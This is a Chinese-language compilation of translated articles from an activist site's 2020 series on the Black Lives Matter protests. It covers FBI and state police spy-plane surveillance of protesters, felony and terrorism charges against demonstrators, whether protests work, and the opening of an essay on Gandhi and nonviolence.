【注：美国国民警卫队是美国各州的预备役军事部队，因各州主权与美国联邦政府共享，因此州政府也有权组织军事力量，而由于联邦层面已有正规军，因此国民警卫队主要作为后备部队使用，但不论有否转为现役，均受联邦政府认可。】

RC-26侦察机在不到**7,000**英尺的高度飞行。这些侦察机被用于四个地点。就连该报告也认为国防部对RS-26飞机的使用没有足够的规定，而且该飞机被错误地认为是非情报平台。

用来监视抗议者的不止这一种飞机。

6月1日星期一晚上11点前不久，就在联邦警察使用催泪瓦斯和警棍将抗议者从白宫前赶走以腾出地方供特朗普总统挥舞圣经拍照的几个小时后，一架 Cessna Citation 喷气机从弗吉尼亚州的马纳萨斯机场起飞。飞行跟踪记录显示，直到凌晨1时30分左右，这架飞机一直在华盛顿特区中部周围7英里的范围内飞行，以监视抗议活动。

这架飞机是美国联邦调查局运营的独一无二的间谍飞机，安装了精密的摄像头，可以进行长距离、持续的视频监控，无论白天还是晚上。在随后的两个晚上，随着抗议活动的继续，该飞机又在深夜绕城盘旋，并于6月6日进行了一次较短的飞行。

通常情况下，这架精英间谍飞机被部署在联邦调查局认为最重要的一些监视任务中，比如当特工逮捕毒贩或维稳帮派成员时，提供天空中的眼睛。但这并不是它第一次用来监视**BLM**抗议活动。

- 《天空中的眼睛》

BuzzFeed 新闻对飞行跟踪记录的审查已经确定，2015年4月和5月，在 Freddie Gray 在被警方拘留期间受重伤死亡后的抗议活动期间，同一架飞机在巴尔的摩上空盘旋。

FBI拥有一支由120多架侦察机组成的机队，暗中注册到一个虚构的公司。 2016年，BuzzFeed 新闻分析了这些飞机超过四个月的飞行记录。

“FBI利用飞机跟踪恐怖分子、间谍和严重的犯罪分子，这一点应该不足为奇。”2015年6月，时任副局长马克-朱利亚诺（Mark Giuliano）罕见地就该机构的航空项目发表公开声明，“我们有义务跟踪那些想

要伤害我们国家及其公民的人，我们将继续这样做。”

根据航空管理局对该幌子公司的记录，联邦调查局的绝大多数飞机都是小型的螺旋桨驱动的 **Cessnas**，用来监视 **BLM** 抗议活动的飞机是这个已知的**FBI**幌子公司运营的唯一一架同类飞机。2012年由前情报分析师 Matthew Aid 撰写的分析 “反恐战争” 的著作《Intel Wars》中描述过这架飞机。飞机注册文件上提供的地址是特拉华州格林维尔的一家UPS商店。

美国联邦航空局（FAA）为了验证飞机是否可以安全飞行提交的其他文件，揭示了如何进行高级监视。

它在2006年由一家名为 “阿尔法研究与技术” 的公司安装了视频监视摄像头。该公司网站上的照片显示了这架飞机和用于从主舱内控制其监控摄像头的双人三屏控制台。这架飞机现在携带 Wescam MX-20 可转向摄像机转塔，其制造商将其描述为高空持久监视的理想选择。它可以日夜监控目标，穿透雾霾，并提供红外热成像。

联邦调查局的其他飞机所携带的监视器功能较弱，需要飞机在 5 000 英尺左右的高度飞行，在这个位置上从地面更容易发现它们。而这种部署在全美各地的 **Citation** 喷气机经常在**1.5**万英尺或更高的高度进行监视。**6**月初在华盛顿特区上空飞行时，它的飞行高度在 **13000** 至 **17500** 英尺之间。

这架飞机最近在华盛顿上空出没并不是第一次用来监视BLM的抗议活动。2015年5月，美国公民自由联盟指出，在 Freddie Gray 之死引发的抗议运动期间，一架身份不明的 Citation 飞机曾在巴尔的摩上空盘旋。

根据对联邦调查局的信息自由法案请求，ACLU 后来获得了该机构在巴尔的摩上空飞行的证据记录，以及其飞机拍摄的视频监控录像。

2015年，**FBI Citation** 的身份在公开的飞行追踪网站上是找不到的，但从 **Flightradar24** 的数据来看，**BuzzFeed** 新闻现在已经证实，在乔治-弗洛伊德死亡后，**6**月监视华盛顿**BLM**抗议活动的同一架飞机也在 **Freddie Gray** 被杀后在巴尔的摩进行了监视。

虽然在FBI飞机部署在巴尔的摩上空之前的几天里，曾发生过暴力冲突和抢劫事件，但是，该机构随后公布的18个多小时的视频录像显示，夜间和平的游行和人们在街头的所有活动都被拍摄监视了。

2015年，巴尔的摩警察局要求FBI帮助监控该市的抗议活动。但DC大都会警察局表示，它并没有在6月初被要求在华盛顿上空飞行。“MPD 并没有要求联邦调查局提供空中维稳支援”，该部门发言人 Alaina Gertz 通过电子邮件告诉 BuzzFeed 新闻。

如上所述，华盛顿特区的监视飞行始于司法部的另一个分支缉毒局被授权进行“秘密监视”的第二天，以实时收集抗议者的情报。

显然，FBI还可以在其飞机上配备黄貂鱼监控设备，该设备可以模仿手机信号塔，并可以用于通过手机定位和追踪人员。

- 《黄貂鱼被放在飞机上一次性监控成千上万部手机》

但是曾经为美国海军陆战队使用类似设备的律师 Heath Hardman 说在美国联邦航空管理局（FAA）的文件中找不到用于此目的的天线的证据，并表示不太可能使用飞机追踪电话同时飞得那么高。他对 BuzzFeed 新闻说：“[使用飞机监视时]您会希望尽可能地降低飞行高度而不被发现。”

主板从安装在监视明尼苏达州的间谍飞机上获得了视频录像，该监视摄像机在最近的BLM抗议中多次在明尼阿波利斯上空盘旋。黑白录像的样式与战区使用的那种军用无人机录像非常相似，它展现了美国城市常规使用的国内监视的强大功能。

主板公布的这些镜头并没有显示BLM抗议活动，但是它显示了人们从地面向飞机照射激光的镜头。飞机找到了这些人，**20**分钟内，地面上的“嫌疑人”就被警察包围了。

这段视频是作为更大请求的一部分发布的，其中包括间谍飞机在明尼阿波利斯警方杀害乔治·弗洛伊德后环绕监视抗议活动的日期，但警方尚未发布该片段。国家巡逻队的视频是从明尼阿波利斯上空5700英尺处录制的，时间是6月4日晚上10:30–10:50左右，其他日期的视频被扣留，等待积极调查。

这段视频是作为更大的信息公开请求的一部分发布的，其中包括间谍飞机在明尼阿波利斯警方杀害乔治·弗洛伊德后包围抗议活动的日期，但警方尚未发布该片段。

州巡警的视频是从明尼阿波利斯上空5700英尺处录制的，时间是6月4日晚上10:30–10:50左右，其他日期的视频仍被扣留，有待积极调查。

飞行记录显示，明尼苏达州巡逻队经常使用他们的 **Cirrus** 间谍飞机 **N115SP** 从几千英尺高空监视双城的**BLM**抗议活动。公开记录首次披露了这些间谍飞机记录的镜头以及对飞机内部的改装。

在全国各地的抗议活动受到地方、州和联邦执法部门严密监视的时候，这些镜头和文件提供了警方空中监视的内部情况。

- 《抗议者使用数百个激光笔"击落"警察无人机》
- 《如何躲避无人机—监视时代的须知》
- 《消费无人机对抗示威者预示了一个危险的、无法无天的冲突时代》
- 《浮空器、生物识别、射频、无人机 ……唐宁街聚集大规模监视行业，其关键技术中国几乎全有》

明尼苏达州巡逻队在2016年向 Cirrus 订购了这架间谍飞机，此后它被一些抗议者用肉眼发现，并被更多人通过 adsbexchange.com 和其他飞行跟踪网站发现。

- 《看灰机：开源情报如何追踪天上的东西？》

下图是它在今年5月30日的飞行模式；抗议者在前一天晚上烧毁了明尼阿波利斯警察局的第三分局：

Motherboard 获得的录像是在5月30日至6月5日之间拍摄的。它没有显示积极的抗议活动，相反，镜头似乎显示地面上的人正试图阻挡监视器的眼睛。激光器通常用于分散飞行员的注意力或暂时致盲。

不过，这段录像以及 Motherboard 获得的其他文件显示了这架间谍飞机的一些能力。例如，这段录像的分辨率很高，可见该飞机的摄像头极快地、无缝地放大和重新聚焦。

向联邦航空管理局提出的信息自由请求显示，2017年3月，明尼苏达州巡警队与一家名为 Integrated Surveillance and Defense Inc. 的公司签约，该文件描述了该公司如何 "安装 … Cirrus 笔记本电脑控制台套件"，在下图他们的营销手册中可以看到一个例子。

此维稳公司所做的事的另一个示例隐藏在许多比 Cirrus 更大的飞机机身内部，如下图所示：

这些视频很宝贵。因为索取警方拍摄的监视镜头是非常难的，他们很少会披露，而且信息请求需要花费非常多的时间。〇

—— 未完待续 ——

NYPD DISAPPEARED BLACK LIVES MATTER PROTESTERS INTO DETENTION FOR DAYS AT A TIME. LAWMAKERS WANT TO END THE PRACTICE.

How the Portland Secret Police Happened

The DEA Has Been Given Permission To Investigate People Protesting George Floyd’s Death

The FBI Used Its Most Advanced Spy Plane To Watch Black Lives Matter Protests

This Is Footage From a Spy Plane That Flew Above George Floyd Protests in Minneapolis

原文

秋后了 … 抗议究竟有没有用？答案可能不在眼下：通过BLM（4） - iyouport

BLM2020

【2020年11月13日存档】不只有暴力镇压导致的伤残，大批的年轻人面临终身监禁的判决，只因为他们参加了抗议活动试图抵制警察的暴行。抗议真的有效吗？只有当人们不再思考这个问题的时候，你就会看到希望 ……

如果您错过了前面的内容，可以在这里回顾：

- 《警察情报中心如何跟踪抗议活动：通过BLM（1）》
- 《把暴力抗议玩成生意的人：通过BLM（2）》
- 《监视器 “眼中” 的抗议运动：通过BLM（3）》

多个州的检察官对大规模抗议警察暴力的活动反应强烈，他们指控示威者犯有重罪，甚至包括恐怖主义指控。

自2016年反对北达科他州输油管道的抗议活动在立岩地区发生后，将抗议活动刑事化的趋势一直在上升，在这期间及之后，许多州都将所谓的 “在关键基础设施附近” 举行的抗议活动提高到了重罪的程度。

根据追踪相关州和联邦立法的非营利法律中心的数据，自2016年以来，已有14个州颁布了新的法律以限制公民和平集会的权利。但在全国范围内的BLM抗议运动之后，许多州再次依照政治路线加大了对抗议者的刑事处罚力度、更积极地起诉他们，示威活动仍在继续，没有放缓的迹象。

【注：抗议运动引发镇压立法的加强和当权者的警备升级，就如您在中国的89民主运动后看到的那样】

- 《镇压可以激发更多的反抗，但有时却相反，为什么？》

就在州议会大厦外发生了连续60多天的示威活动后，田纳西州共和党州长 Bill Lee 签署了一项法律，将参加某些类型的抗议活动 —— 包

括在州政府财产上露营过夜 —— 定为重罪。同样活动的指控此前被列为轻罪。在田纳西州，被判犯有重罪的人将失去投票权 —— 使新法律成为剥夺公民权的工具。

8月早些时候，爱荷华州马斯卡廷市的警方逮捕了两个人，当局说当时他们试图驾驶一辆汽车进入该市公共安全大楼。当局指控两人犯有恐怖主义等多项罪名。

此前，俄克拉荷马州地方检察官对5名年轻人提出恐怖主义指控，包括3名青少年和2名20多岁的人。检察官还向其他许多人抛出了重罪指控，这些指控与5月下旬的抗议活动以及对当地和警方财产的 “破坏” 有关。

恐怖主义指控表明当局对 “杀人的人，和造成财产损失的人之间的虚假等同，这肯定不是什么好事”，司法合作组织的政策主任 Kate Chatfield 说，这是一个关注大规模定罪和监禁的政策和媒体组织。

Chatfield 说：“如果说国家的权力被以这种方式用来对付政敌，那是令人难以置信的可怕”。他把这件事与 “9–11” 后时代等同起来，当时许多从未实施过暴力行为的人却因恐怖主义而被起诉。

“我们不要忽视这样一个事实，我们在这个国家有这样的历史。一个很近的历史。不幸的是，这段历史仍在继续。”

由乔治·弗洛伊德被杀引发的全国性抗议活动一直持续，尽管在7月强度较低，但8月继续回升。在威斯康星州基诺沙市的警察当着孩子们的面向**29**岁的 **Jacob Blake** 背部开了七枪后，全国各地的街道上都涌动着示威者。

Jacob Blake 的父亲告诉《芝加哥太阳时报》，Blake 腰部以下已经瘫痪。抗议者在周一烧毁了州惩教署的一栋大楼。

第二天晚上，一个民兵组织的武装白人成员组织了反示威活动。来自基诺沙的视频画面显示，该民兵组织成员与警察聊天。

聊天的视频被拍摄后不久，一名民兵组织成员开枪打死两名抗议者，第三名抗议者伤势严重。警方周三在伊利诺伊州逮捕了17岁的 Kyle Rittenhouse，并指控他犯有一级故意杀人罪。

“当你听到特朗普把BLM说成是一个恐怖组织，或者把Antifa组织说成是一个恐怖组织时 —— 他的声明在法律上没有任何分量，但是他这些话向那些检察官发出了一个信息，即 他们的严重定罪行为会得到支

持”，非营利性民权组织 Advance Project 的司法项目主任 Thomas Harvey 说。

“而且更可怕的是，我认为这些话也向如我们在基诺沙看到的民兵成员这样的人发出了一个信息，并给他们提供了权力自由度，以实施比我们在这个国家每天看到的针对黑人和棕色人的暴力更多的暴力。”

- 《什么是 antifa，或者说谁是 antifa？》

在肯塔基州路易斯维尔市，警方逮捕了**87**名上个月在州总检察长 Daniel Cameron 家的草坪上静坐的抗议者 —— 这是持续呼吁对 Breonna Taylor 遇害事件问责的一部分，Taylor 是26岁的急救医生，**3**月在家中被三名路易斯维尔警察至少开了**8**枪打死。(这些警察当时正在执行与一名嫌疑人有关的不敲门搜查令，而该嫌疑人并不住在 Taylor 的住所)。

警察部门在6月份仅解雇了三名涉案警察中的一名。包括 “Louisville Black Lives Matter” 在内的当地活动家与 Taylor 的家人一起制定了一份要求清单，包括开除、起诉、将这三名警察定罪等。

三天后，杰斐逊县检察官 Mike O’Connell 驳回了重罪指控，并表示他的办公室将在晚些时候考虑对轻罪和其他违法行为进行起诉。接下来路易斯维尔警方又逮捕了**68**名抗议者，并指控他们妨碍高速公路交通和扰乱社会治安，这两项罪名都是轻罪。

8月早些时候，在华盛顿特区，警方在亚当斯摩根街区再次逮捕了41名抗议者，罪名是暴动和袭警的重罪。特区警察局8月14日在推特上说，它只逮捕 “有暴动行为” 的人。5月30日至6月1日期间，区警方以入室盗窃、破坏财产、违反宵禁等罪名逮捕了**100**多人，其中包括至少**40**项重罪指控。检察官撤销了这两批逮捕中的大部分指控。

周五在盐湖城，法官撤销了可能面临终身监禁的指控（这些抗议者在地区检察官办公室大楼泼油漆、打破窗户和张贴标语）将一些指控减少为低级重罪和轻罪。6月，西谷警方和FBI探员在盐湖城逮捕了两名男子，据称他们曾 “威胁警官，并携带多种武器前往抗议活动”。检察官后来指控一名男子犯有恐怖主义重罪。

同样在6月初，南卡罗来纳州哥伦比亚市的警察逮捕了**80**多名抗议者，并指控三名男子煽动骚乱，通常是低级重罪或轻罪。

参与抗议的民选官员也被卷入了镇压行动中。8月早些时候，警方对

弗吉尼亚州参议院临时议员、当地学校董事会成员、当地有色人种协进会领导人和公设辩护人提出重罪指控，罪名是 “阴谋破坏纪念碑”。

联邦当局也对示威活动进行了自己的镇压，几个月来他们在俄勒冈州波特兰市和纽约市逮捕了很多抗议者。自5月底以来，联邦调查局已经展开了大约300起所谓的国内恐怖主义调查。

最近对抗议者提出的最严重指控之一是俄克拉荷马州的恐怖主义指控。 在那里，地区检察官 David Prater 指控三名青少年和另外两名20多岁的人犯有恐怖主义重罪，该罪名与他们被指控在5月底参与的抗议活动有关。

“我们发现这些指控非常不合理 —— 而且是违宪的 —— 因为它的目的很明确，就是要让那些为**BLM**挺身而出的抗议者闭嘴”，俄克拉荷马州美国公民自由联盟的律师 Attorney Megan 说，她指的是关于最近的恐怖主义指控。她补充说：“甚至对 Murrah 爆炸案都没有恐怖主义指控”。她指的是1995年俄克拉荷马市中心艾尔弗雷德·P·默拉联邦大楼爆炸案。

那些恐怖主义指控是在6月和7月提出的，源于抗议者放火烧毁了一辆警长的面包车。7月，地区检察官再次指控另外两名青少年与5月底的示威活动有关的恐怖主义，使总数达到5人。检察官还指控多人暴动、袭警，以及至少**5**人因**6**月在市中心地区绘制壁画而面临 “煽动暴动” 的罪名。

俄克拉荷马州ACLU、俄克拉荷马BLM创始人兼执行主任 T. Sheri Dickerson 牧师都抨击了检察官的举动，谴责恐怖主义的指控太过严重 —— Prater 是在利用这些指控来压制抗议者 …… ‘如果以我们不喜欢的方式使用你的第一修正案权利，我们就会毁了你的未来’。

“这些人举着反暴力的名义，而 Prater 本人在很大程度上就是暴力的同谋，这只是 David Prater 办公室维护白人至上主义的模式中的另一个例子。”

去年**5**月，**Prater** 拒绝指控杀害了年仅**17**岁的 **Isaiah Lewis** 的那名警察，**Lewis** 在埃蒙德被警察枪杀时正处于精神健康危机之中。在过去的几个月里，当地活动人士重新关注 Lewis 被杀事件，这也是该地区一些示威活动的焦点。

Dickerson 指出，其他案件得到的关注度较低。42岁的 Derrick Scott 去年5月被俄克拉荷马市警方逮捕后死亡。在**6**月公布的逮捕视频画面

中，**Scott** 告诉警官他无法呼吸，并一再请求他们给他吃药。一名警官回答说："我不在乎"。

Dickerson 说："Scott 的家人没有得到任何公正"。他说，Scott 的被杀事件与弗洛伊德的被杀事件诡异地相似。8月早些时候，警方向32岁的 James Harmon 头部开枪，称他手中"有武器"（俄克拉荷马州是一个开放携带武器的州）。Harmon 目前仍在医院。

"系统性的种族主义、制度性的种族主义和白人至上主义是如此根深蒂固，"Dickerson 说，"真的没有什么比这更具俄克拉荷马人特色了。"

对于面临恐怖主义指控的青少年人来说，"接下来就是他们为自己的生命而战了，" Lambert 说。该罪名最高可判处终身监禁。"这些被指控的抗议者很多都是年轻人。……他们正面临着在监狱中度过一生，仅仅因为他们参加了抗议活动，试图让警察承担责任。"

在这场冠状病毒大流行中，一个显著的发展是，美国也正在目睹几十年来最广泛、最持续的抗议浪潮之一。近五分之一的美国人说他们参加了最近的一次抗议活动。

人们经常会问的问题是：抗议是否有效 —— 对于正在进行的 BLM 抗议活动来说，这是一个特别重要的问题，因为它们像所有拥挤的抗议活动一样，在大流行期间会带来额外的风险。

- 《新的抗议时代》

所有这一切会有什么成就吗？答案是，是的，抗议活动当然有效，但通常不是以许多人所认为的方式和时间框架体现的。抗议活动有时在短期内看似失败，但抗议活动的大部分力量在于其对抗议者本身和社会其他方面的长期影响。

在短期内，抗议可以在一定程度上发挥作用，他们可以震慑当局以令当局改变其行为。抗议是一种信号 —— "我们很不高兴，我们不会忍受这种方式。"

但要想抗议奏效，"我们不会忍受" 这部分必须是可信的。如今，大型抗议活动有时会缺乏这样的可信度，尤其是因为数字技术让人们更容易组织起来。

- 《为什么街头抗议不起作用？》
- 《在社交媒体上"抗议"有什么问题？》

当从一个 Facebook 页面到数百万人上街只需要几个月甚至几周的时间时，就像我们在2017年的 Women’s March 大游行中看到的那样，一场抗议活动不一定会像过去那样发出强烈声明，因为那时它们更难组织。相比之下，1963年历史性的华盛顿大游行，从一个想法到组织起来，花了10多年的时间，光是后勤工作就花了好几个月的时间，之前和期间也遇到了很多障碍。

当做一件事那么困难的时候，仅仅是开展游行本身，就会成为当权者脑子里的惊叹号，而一些容易做到的事，却只是对未来的一个问号。

也许会有进展，但也许不会。不论如何，低努力就能办到的事不会传达出可信的威胁。

这也是为什么像应用程序这样的东西可以让人们轻松地做到 “有困难找政府”，却对任何人的需求都没有太大帮助。

事实上，过去几十年来，美国发生了许多大规模的和广泛的抗议活动，但都没有相应的直接变化。2003年初，全国各地大批民众游行，反对入侵伊拉克，但战争还是在当年3月如期进行了。美国的 “占领运动”迅速在**600**个社区和**70**个主要城市举行了游行，然后走向了全球，但此后不平等现象却更加严重了 **……** 人数和街道本身都不是改变的魔杖。

如果抗议者做一些困难的事情呢？当抗议者采取有可能坐牢的行为时，比如天主教和平主义者闯入核武器设施，用鲜血涂抹那些武器；甚至死亡，比如在政府或其准军事组织会开枪杀人的情况下举行游行？

显然，高风险的行动，尤其是激发群众参与的行动，有可能产生更刺眼的影响。1986年，数以百万计的菲律宾人抗议已经执政20年的马科斯总统试图通过一场被破坏的选举继续其统治。他们当然会冒着被枪杀的危险，这种事以前也发生过。但这一次，马科斯意识到他无法再控制这个国家，于是逃跑了。

在疫情和警方反应的双重打击下，当前的BLM抗议浪潮无疑是高风险的。被抗议的实体 —— 警察 —— 已经释放了太多的暴行，短短三周内，已经有至少**8**人被橡皮子弹打瞎了眼睛。

一个专门记录警察暴力行为的 Twitter 帖子已经达到600条，并且还在不断增加。

似乎没有人是安全的 —— 即使是一位75岁的公开和平主义者也不例外 —— 他只是挡住了一排警察的去路，却被猛烈地推倒，摔得头骨都裂开了。

- 在这里看到报道《当我们陷入困境》

令人不寒而栗的是，警察在他倒地七窍流血的时候还在继续往前走。视频传出后引起了广泛的愤怒，推搡他的两名警察被停职。

另外，疫情意味着在拥挤的人群中游行，面对可能的病毒、还要面对催泪瓦斯，冒着坐牢和被拘留的风险的抗议者比往常更多。

在这种困难的条件下，将如此广泛的抗议活动维持数周，并非易事，有迹象表明，这些抗议活动已经产生了直接的影响。

在明尼阿波利斯，乔治·弗洛伊德遇害案是最初的导火索，市长呼吁进行全面的结构改革，市议会通过了解散警察部队的决议，以社区主导的模式取而代之，警察局长退出了与警察工会的谈判。其他许多地方也在考虑采取类似举措，缩减警察部门的规模。

这是否意味着高风险或难以驱散的抗议活动总能起到震慑当局以实施变革的作用？我们不能只说是，因为当局有另一种选择来应对这种抗议行动 —— 通过暴力镇压使其风险更高，直到抗议者放弃。

可悲的是，镇压是有效的。无论抗议者多么勇敢，一个国家施加暴力镇压后承受代价的能力往往比普通抗议者承受代价的能力要大得多。

在 “阿拉伯之春” 期间，巴林约有三分之一的公民连续数月进行游行 —— 这个数字非常惊人，堪比美国7000多万人的游行。

然而，他们的政府非但没有屈服，反而以大范围的逮捕、酷刑和处决，甚至是处决青少年作为回应，终于让疲惫的民众安静下来。

在埃及，2013年7月发生军事政变后，至少有数万名抗议者，包括许多妇女和儿童，在开罗的拉巴广场露营，反对政变。作为回应，军方和警方开火，一天之内就枪杀了约1000人。

不足为奇的是，抗议活动大多被平息了，自此，这个国家就被残酷的军事独裁统治了。

这些并非历史上的例外。1989年，中国政府在天安门广场杀害了数百名甚至数千名抗议者，粉碎了民主运动。

那么，为什么当局不总是加紧镇压，直到人们放弃？为什么他们有时会向抗议运动屈服？理解这一点的关键也是理解社会运动真正长期力量的关键。

运动及其抗议活动之所以强大，是因为它们改变了人们的思想，包括那些可能根本没有参与其中的人，它们改变了参与者的生活。

- 《超越抗议》

从长远来看，抗议活动之所以有效，是因为它们可以破坏权力的最重要支柱：合法性。

评论者经常指出，一个国家可以通过其对暴力的垄断来定义，这一概念可以追溯到哲学家托马斯·霍布斯，并由社会学家马克斯·韦伯编纂。但韦伯的完整引文却鲜为人知。韦伯以“垄断合法使用武力的权力”来定义国家。合法和武力这两个词一样重要，甚至前者更重要。尤其是在现代世界，这种对暴力的垄断并不是自我延续的东西。

暴力不是说发生就发生的，它必须由人来制定和启用。苏联的垮台并不是因为在80年代末东欧人民的叛乱，苏联没有坦克可以派往东欧。它的垮台，很大程度上是因为它没有了合法性，也是因为苏联统治者失去了在自己的体制中生活的意志和愿望。

与西方民主国家相比，他们的制度并没有带来自由和财富，甚至对胜利者也是如此。

如果合法性的丧失足够广泛和深刻，那些本应实施暴力的将军和警察可以而且确实会背叛统治者（或者，至少他们不再维护不受欢迎的统治者）。武力和镇压可以使事情暂时得到控制，但是，也会使这种统治更加脆弱。

合法性而非压制是弹性权力的基石。一个没有合法治理的社会是不会有好的运作的；人们可以被胁迫遵守，但要从一个灰心丧气、被打倒的人身上胁迫出热情、能力和创造力是非常困难的。

失去合法性是对当局最重要的威胁，尤其是在民主国家，因为当局在这种条件下，只能做很少的事来维持权力。也许他们可以通过压制选民、选区划分、增加非民选机构的权力等障碍，部分地保持较长的权力，但是，他们所监管的社会将不可避免地衰落，他们对权力的把握也将衰落。

有鉴于此，把合法性作为最有力的权力来源来关注，就会发现，BLM

运动在其短暂的生命中是相当成功的。

首先应该指出的是。这是一个年轻的运动， 但它并没有开始于今年。目前的高风险抗议浪潮是运动的一个波峰，这个波峰可以追溯到2012年佛罗里达州的 Trayvon Martin 被杀事件，而在2014年密苏里州弗格森市因 Michael Brown 被杀而发生的抗议活动之后，这个波峰就蔓延到了全国。

从正确的历史背景来理解，**BLM**抗议活动是战后美国的第二次民权运动，从这个角度来衡量，它们在最重要的指标上越来越成功：它们让人们相信反抗事业的正义性。从长远来看，这具有深远的意义。

抗议是为了吸引注意力。抗议试图迫使人们就他们所强调的话题进行对话。街头示威本身并不具备任何特殊的力量，除了能够引发对话并为更广泛的社会构建问题框架。

成功的抗议活动是那些赢得这种对话和进入问题框架中的抗议活动，从所有的角度和措施来看，BLM抗议者正在取得成功。到2016年，40%的美国人报告支持该运动。目前，全国三分之二的人支持BLM（而反对的人只有31%）。

同样，另一项民调发现，76%的美国人（71%的白人）认为种族主义是一个“大问题”，自2015年以来增长了26%，令人震惊。

全国大多数人也首次支持从公共场所移除邦联雕像，自2017年以来转变了19%，当时有39%的人支持。

由抗议活动引发的对话也可以移动通常被称为“奥弗顿之窗”的东西——在公共领域被视为可接受和合理的东西。眼下，各大报纸都在发表专栏文章，呼吁废除警察或抵制资助警察，而保守派则发表了许多文章，认为我们应该把重点放在改革上，废除警察会走得太远。改革警察是最起码的、最保守的立场，这也是奥弗顿之窗在短短几年内的惊人转变。

抗议之所以有效，还因为它们改变了抗议者本身，使一些人从偶然的参与者变成了终生的活动家，这反过来又改变了社会。

当一场反对警察暴行和不当行为的运动遭到更多的警察暴行和不当行为时，这一点就尤其突出。

全国各地的和平抗议者都经历了催泪瓦斯、橡皮子弹和警棍，这无疑是人们改变想法的部分原因。如果警察会在光天化日之下对抗议者做

出这样的行为，就在周围有那么多的摄像机的情况下，而当周围没有人拍下这种暴行的时候，黑人或其他弱势社群还会遭遇什么？

这就涉及到抗议有效的最后一个原因。集体行动是一种改变生活的体验。置身于要求积极的社会变革的人海中，是一种增强能力和令人振奋的体验。

抗议活动之所以有效，是因为它们能够长期维持运动，因为参与者在集体行动中建立了联系。

在学术界，这被称为“传记影响”，研究表明，正如人们所期望的那样，运动参与可以改变许多人的生活。上世纪60年代美国的“新左派”抗议活动可能只有2%到4%的人口参与，而现在的抗议活动可能高达20%。然而，这些抗议活动却通过对参与者的终身影响，对美国社会产生了长久的影响。

BLM 抗议活动也成功地产生了代际转变。在线调查研究公司 Civiqs 发现，34岁以下的人中，65%的人支持BLM运动，而反对的人仅占19%。

这种代际转变很重要，不仅因为年轻人是未来，还因为文化的转变也会影响到年长者或处于权力地位的人。

被特朗普的战略顾问 Steve Bannon 称为超右翼平台的 Breitbart News 创始人 Andrew Breitbart 曾经说过一句名言：所有政治都是文化的下游。当奥巴马开始第一个任期时，他还没有站出来支持同性婚姻，但即使在那时，年轻人也广泛支持将这种公民权利扩大到同性恋者。

就在最近，在没有大张旗鼓的情况下，大多数大法官都是由保守派政府任命的美国最高法院投票决定将就业保护扩大到性别认同和性取向——从而将LGBTQ的权利纳入到劳动者民权的大伞中，而这距离最高法院裁定同性婚姻成为国家法律仅仅相隔几年。

一旦文化转变，其余的就会迅速解体。

抗议有用吗？是的，但 *不只是* 因为一些人上街游行。抗议之所以有效，是因为它们将人们的注意力引向不公正，并能改变人们的思想，这是一个缓慢但却非常有力的过程。

抗议之所以有效，是因为抗议者可以向整个社会展示一种信仰的重要性，让当局明白他们的行为会遭到反对，尤其是当这些抗议者愿意为

他们的事业承担严重的风险时。

抗议之所以有效，是因为它们往往是偶然参与和终身行动主义之间的精神药物。而且，有时候，抗议之所以有效，是因为在那一刻，抗议者心中的问题不再是短期有效还是长期有效，而是 —— 在严重的不公正现象展开的时候，人们是否可以袖手旁观多一天。而这也许就是抗议活动最有力的手段：当问题如此之大以致于抗议者不再去计算是否有效，而是感觉到在道义上不得不参与其中。〇

PROTESTERS IN MULTIPLE STATES ARE FACING FELONY CHARGES, INCLUDING TERRORISM

Do Protests Even Work?

原文

当甘地错了 ……：通过BLM（5） - iyouport

BLM2020

【2020年11月17日存档】并没有普遍适用的抵抗策略

如果您错过了前面的内容，可以在这里回顾：

- 《警察情报中心如何跟踪抗议活动：通过BLM（1）》
- 《把暴力抗议玩成生意的人：通过BLM（2）》
- 《监视器 “眼中” 的抗议运动：通过BLM（3）》
- 《秋后了 … 抗议究竟有没有用？答案可能不在眼下：通过BLM（4）》

这篇文章的作者 Rafia Zakaria 是一位专刊作家，定期为卫报、纽约时报、波士顿评论等媒体撰稿。在这里，他提出了一个值得思考的问题。

【注】这篇文字可能会有争议，但这个议题无疑是重要的。

在我们发布 “幸存者指南” 第8集的时候，我们写道 “尽可能不要打架。战斗是为了找到逃生机会，绝不是袭击他人。” 这一集的内容是希望通过对格斗技巧的介绍帮助人们在遭遇袭击的情况下保护自己，而不是把矛盾扩大化 —— 也就是说您在不得不搏斗的时候应该知道该怎么做。

也就是说，目标应该是解决问题，而不是扩大问题或制造新问题。在反抗斗争中，“赢” 意味着能达成目标改变现状，而不是打倒对手。

那么如何才能赢呢？这取决于您所反抗的问题其本身是如何造成的，谁最有可能改变它，对于这些人来说，让他们采取行动的动力在哪里。反抗就是在创造这一动力。

因此您看到，就如本文副标题所言，并没有一个可以适用于一切状况的反抗模版，究竟是非暴力 “正确” 还是暴力 “合理”，更可能取决于您的具体目标。再一次，目标是解决问题，而不是扩大问题。

上图中这本书也许能帮助您理解本文。在这里下载：https://www.patreon.com/posts/shi-yao-shi-bao-40001309

这位以非暴力著称在印度抗议英国殖民者的传奇式人物 Mahatma Gandhi 第一次给阿道夫-希特勒写信的时候，是在1939年7月。甘地当时已近七十岁。那个时候的世界就像今天看来一样，正处于某种巨大变革的边缘，尽管当时和现在一样，变革的全部代价是未知的。

甘地在打字机前恳求希特勒，“朋友们一直催促我为了人类的利益给你写信”， 信中接着说，希特勒是 “世界上唯一能阻止一场可能使人类沦为野蛮状态的战争的人”。

我可以想象甘地写这封信时的样子，印度七月潮湿的空气沉重而压抑，就像战争的威胁笼罩着世界。那第一封信勉强写了一百多字，却始终没有送达。

当时统治印度的英国殖民者很介意甘地的信件，他们在信件还没来得及送到希特勒手中的时候，就把它截获了。

不知道甘地作为一个精明的政治战略家，在写这封信时是否知道会是这种情况。他可能知道，他的听众就是压迫他的人，而不是欧洲犹太人的压迫者。

无论甘地的动机如何，对希特勒的呼吁并不新鲜。就在此一年，与甘地会面的美国传教士恳求他谴责希特勒和墨索里尼，但他拒绝了，他坚持认为，没有人是 “无法救赎的”，即使是这两个显然对人类尊严不感兴趣的法西斯分子也一样。

捷克人和犹太人被告知只能进行消极抵抗，这是一种可以救赎他们的牺牲。被动抵抗未能救出任何一个群体，但甘地方面从未完全承认这一点。(这也不是他们采用的唯一策略：考虑一下1943年的华沙起义，或者第二年奥斯维辛-比克瑙的起义)。

甘地确实给希特勒写过另一封更激烈的信，但这封信也从未送达。

甘地在第二次世界大战中弄错了许多事。但在乔治·弗洛伊德去世后的日子里，随着抗议活动的兴起，许多人向甘地的处方和其他非暴力抵抗的历史求助，这些历史提出了关于反抗和防御方法的关键问题。

